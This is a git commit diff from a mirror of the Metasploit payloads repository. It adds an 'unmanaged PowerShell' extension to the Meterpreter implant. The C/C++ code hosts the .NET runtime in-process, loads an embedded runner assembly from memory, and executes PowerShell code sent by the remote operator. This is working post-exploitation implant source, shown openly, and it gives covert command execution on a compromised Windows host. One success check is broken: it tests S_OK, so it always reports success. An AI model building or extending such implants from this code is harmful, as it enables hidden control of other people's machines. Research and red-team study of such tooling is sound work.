1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-02 11:36:22 +01:00

Add support for unmanaged powershell

This commit includes the ability to run a single powershell command in
the current session.
This commit is contained in:
OJ 2016-03-14 17:12:29 +10:00
parent af32e7289d
commit 3d94391292
8 changed files with 1478 additions and 8 deletions

View File

@ -6,7 +6,7 @@
#define _METERPRETER_SOURCE_COMMON_COMMON_H
/*! @brief Set to 0 for "normal", and 1 to "verbose", comment out to disable completely. */
//#define DEBUGTRACE 0
#define DEBUGTRACE 0
#include <stdlib.h>
#include <stdio.h>

View File

@ -15,6 +15,8 @@
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
static BOOL gSuccessfullyLoaded = FALSE;
/*! @brief List of commands that the powershell extension provides. */
Command customCommands[] =
{
@ -31,9 +33,14 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
command_register_all(customCommands);
DWORD result = initialize_dotnet_host();
return ERROR_SUCCESS;
if (result == ERROR_SUCCESS)
{
command_register_all(customCommands);
}
return result;
}
/*!
@ -44,6 +51,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
deinitialize_dotnet_host();
return ERROR_SUCCESS;
}

14
c/meterpreter/source/extensions/powershell/powershell.h Normal file → Executable file
View File

@ -0,0 +1,14 @@
/*!
* @file powershell.h
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_H
#include "../../common/common.h"
#define TLV_TYPE_EXTENSION_PSH 0
#define TLV_TYPE_POWERSHELL_CODE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 1)
#define TLV_TYPE_POWERSHELL_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PSH, TLV_EXTENSIONS + 2)
#endif

View File

@ -4,9 +4,225 @@
*/
extern "C" {
#include "../../common/common.h"
#include "powershell.h"
#include "powershell_bridge.h"
}
#include <comdef.h>
#include <mscoree.h>
#include <metahost.h>
#include "powershell_runner.h"
#define SAFE_RELEASE(x) if((x) != NULL) { (x)->Release(); x = NULL; }
#import "mscorlib.tlb" raw_interfaces_only \
high_property_prefixes("_get","_put","_putref") \
rename("ReportEvent", "InteropServices_ReportEvent")
using namespace mscorlib;
static ICLRMetaHost* gClrMetaHost = NULL;
static ICLRRuntimeInfo* gClrRuntimeInfo = NULL;
static ICorRuntimeHost* gClrCorRuntimeHost = NULL;
static IUnknownPtr gClrAppDomain = NULL;
static _AppDomainPtr gClrAppDomainInterface = NULL;
static _AssemblyPtr gClrPowershellAssembly = NULL;
static _TypePtr gClrPowershellType = NULL;
DWORD InvokePowershellMethod(_TypePtr spType, wchar_t* method, wchar_t* command, _bstr_t& output)
{
HRESULT hr;
bstr_t bstrStaticMethodName(method);
SAFEARRAY *psaStaticMethodArgs = NULL;
variant_t vtStringArg(command);
variant_t vtPSInvokeReturnVal;
variant_t vtEmpty;
LONG index = 0;
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
do
{
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
if (FAILED(hr))
{
dprintf("[PSH] failed to prepare arguments: 0x%x", hr);
break;
}
// Invoke the method from the Type interface.
hr = spType->InvokeMember_3(
bstrStaticMethodName,
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
NULL,
vtEmpty,
psaStaticMethodArgs,
&vtPSInvokeReturnVal);
if (FAILED(hr))
{
dprintf("[PSH] failed to invoke powershell function", hr);
break;
}
output = vtPSInvokeReturnVal.bstrVal;
} while (0);
if (psaStaticMethodArgs != NULL)
{
SafeArrayDestroy(psaStaticMethodArgs);
}
if (SUCCEEDED(S_OK))
{
return ERROR_SUCCESS;
}
return (DWORD)hr;
}
DWORD initialize_dotnet_host()
{
HRESULT hr = S_OK;
ICLRMetaHost* clrMetaHost = NULL;
ICLRRuntimeInfo* clrRuntimeInfo = NULL;
ICorRuntimeHost* clrCorRuntimeHost = NULL;
IUnknownPtr clrAppDomain = NULL;
_AppDomainPtr clrAppDomainInterface = NULL;
_AssemblyPtr clrPowershellAssembly = NULL;
_TypePtr clrPowershellType = NULL;
SAFEARRAY* clrByteArray = NULL;
do
{
dprintf("[PSH] Creating the metahost instance");
if (FAILED(hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&clrMetaHost))))
{
dprintf("[PSH] Failed to create instace of the CLR metahost 0x%x", hr);
break;
}
dprintf("[PSH] Getting a reference to the .NET runtime");
if (FAILED(hr = clrMetaHost->GetRuntime(L"v2.0.50727", IID_PPV_ARGS(&clrRuntimeInfo))))
{
dprintf("[PSH] Failed to get runtime instance 0x%x", hr);
break;
}
dprintf("[PSH] Determining loadablility");
BOOL loadable = FALSE;
if (FAILED(hr = clrRuntimeInfo->IsLoadable(&loadable)))
{
dprintf("[PSH] Unable to determine of runtime is loadable 0x%x", hr);
break;
}
if (!loadable)
{
dprintf("[PSH] Chosen runtime isn't loadable, exiting.");
break;
}
dprintf("[PSH] Instantiating the COR runtime host");
hr = clrRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(&clrCorRuntimeHost));
if (FAILED(hr))
{
dprintf("[PSH] Unable to get a reference to the COR runtime host 0x%x", hr);
break;
}
dprintf("[PSH] Starting the COR runtime host");
if (FAILED(hr = clrCorRuntimeHost->Start()))
{
dprintf("[PSH] Unable to start the COR runtime host 0x%x", hr);
break;
}
dprintf("[PSH] Getting a ref to the app domain");
if (FAILED(hr = clrCorRuntimeHost->GetDefaultDomain(&clrAppDomain)))
{
dprintf("[PSH] Unable to get the app domain 0x%x", hr);
break;
}
dprintf("[PSH] Getting a ref to the app domain interface");
if (FAILED(hr = clrAppDomain->QueryInterface(IID_PPV_ARGS(&clrAppDomainInterface))))
{
dprintf("[PSH] Unable to get the app domain interface 0x%x", hr);
break;
}
dprintf("[PSH] CLR app domain ready to run, now loading the powershell runner");
SAFEARRAYBOUND bounds[1];
bounds[0].cElements = PSHRUNNER_DLL_LEN;
bounds[0].lLbound = 0;
clrByteArray = SafeArrayCreate(VT_UI1, 1, bounds);
if (clrByteArray == NULL)
{
dprintf("[PSH] Failed to create a usable safe array");
hr = ERROR_OUTOFMEMORY;
break;
}
if (FAILED(hr = SafeArrayLock(clrByteArray)))
{
dprintf("[PSH] Safe array lock failed 0x%x", hr);
break;
}
memcpy(clrByteArray->pvData, PowerShellRunnerDll, PSHRUNNER_DLL_LEN);
SafeArrayUnlock(clrByteArray);
if (FAILED(hr = clrAppDomainInterface->Load_3(clrByteArray, &clrPowershellAssembly)))
{
dprintf("[PSH] Failed to load the powershell runner assembly 0x%x", hr);
break;
}
dprintf("[PSH] Loading the type from memory");
_bstr_t pshClassName("PowerShellRunner.PowerShellRunner");
if (FAILED(hr = clrPowershellAssembly->GetType_2(pshClassName, &clrPowershellType)))
{
dprintf("[PSH] Unable to locate the powershell class type 0x%x", hr);
break;
}
dprintf("[PSH] Runtime has been initialized successfully");
} while(0);
if (clrByteArray != NULL)
{
SafeArrayDestroy(clrByteArray);
}
if (FAILED(hr))
{
SAFE_RELEASE(clrPowershellAssembly);
SAFE_RELEASE(clrAppDomainInterface);
SAFE_RELEASE(clrCorRuntimeHost);
SAFE_RELEASE(clrRuntimeInfo);
SAFE_RELEASE(clrMetaHost);
return (DWORD)hr;
}
gClrMetaHost = clrMetaHost;
gClrRuntimeInfo = clrRuntimeInfo;
gClrCorRuntimeHost = clrCorRuntimeHost;
gClrAppDomainInterface = clrAppDomainInterface;
gClrAppDomain = clrAppDomain;
gClrPowershellAssembly = clrPowershellAssembly;
gClrPowershellType = clrPowershellType;
return ERROR_SUCCESS;
}
VOID deinitialize_dotnet_host()
{
dprintf("[PSH] Cleaning up the .NET/PSH runtime.");
SAFE_RELEASE(gClrPowershellType);
SAFE_RELEASE(gClrPowershellAssembly);
SAFE_RELEASE(gClrAppDomainInterface);
SAFE_RELEASE(gClrCorRuntimeHost);
SAFE_RELEASE(gClrRuntimeInfo);
SAFE_RELEASE(gClrMetaHost);
}
/*!
* @brief Handle the request for powershell execution.
* @param remote Pointer to the \c Remote making the request.
@ -20,6 +236,23 @@ DWORD request_powershell_execute(Remote *remote, Packet *packet)
if (response)
{
char* code = packet_get_tlv_value_string(packet, TLV_TYPE_POWERSHELL_CODE);
if (code != NULL)
{
_bstr_t codeMarshall(code);
_bstr_t output;
dwResult = InvokePowershellMethod(gClrPowershellType, L"InvokePS", codeMarshall, output);
if (dwResult == ERROR_SUCCESS)
{
packet_add_tlv_string(response, TLV_TYPE_POWERSHELL_RESULT, output);
}
}
else
{
dprintf("[PSH] Code parameter missing from call");
dwResult = ERROR_INVALID_PARAMETER;
}
packet_transmit_response(dwResult, remote, response);
}

View File

@ -1,10 +1,12 @@
/*!
* @file poweshell_bridge.h
* @file powershell_bridge.h
* @brief Declarations for powershell request handlers (bridged into managed C++)
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_BRIDGE_H
DWORD initialize_dotnet_host();
VOID deinitialize_dotnet_host();
DWORD request_powershell_execute(Remote *remote, Packet *packet);
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,11 @@
/*!
* @file powershell_runner.h
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
#define _METERPRETER_SOURCE_EXTENSION_POWERSHELL_RUNNER_H
#define PSHRUNNER_DLL_LEN 14336
extern unsigned char PowerShellRunnerDll[PSHRUNNER_DLL_LEN];
#endif

View File

@ -90,7 +90,7 @@
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -141,7 +141,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -194,7 +194,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
@ -245,7 +245,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
</ClCompile>
<Link>
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\deps\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
@ -274,10 +274,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ItemGroup>
<ClCompile Include="..\..\source\extensions\powershell\powershell.c" />
<ClCompile Include="..\..\source\extensions\powershell\powershell_bridge.cpp" />
<ClCompile Include="..\..\source\extensions\powershell\powershell_runner.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\extensions\powershell\powershell.h" />
<ClInclude Include="..\..\source\extensions\powershell\powershell_bridge.h" />
<ClInclude Include="..\..\source\extensions\powershell\powershell_runner.h" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\backcompat\backcompat.vcxproj">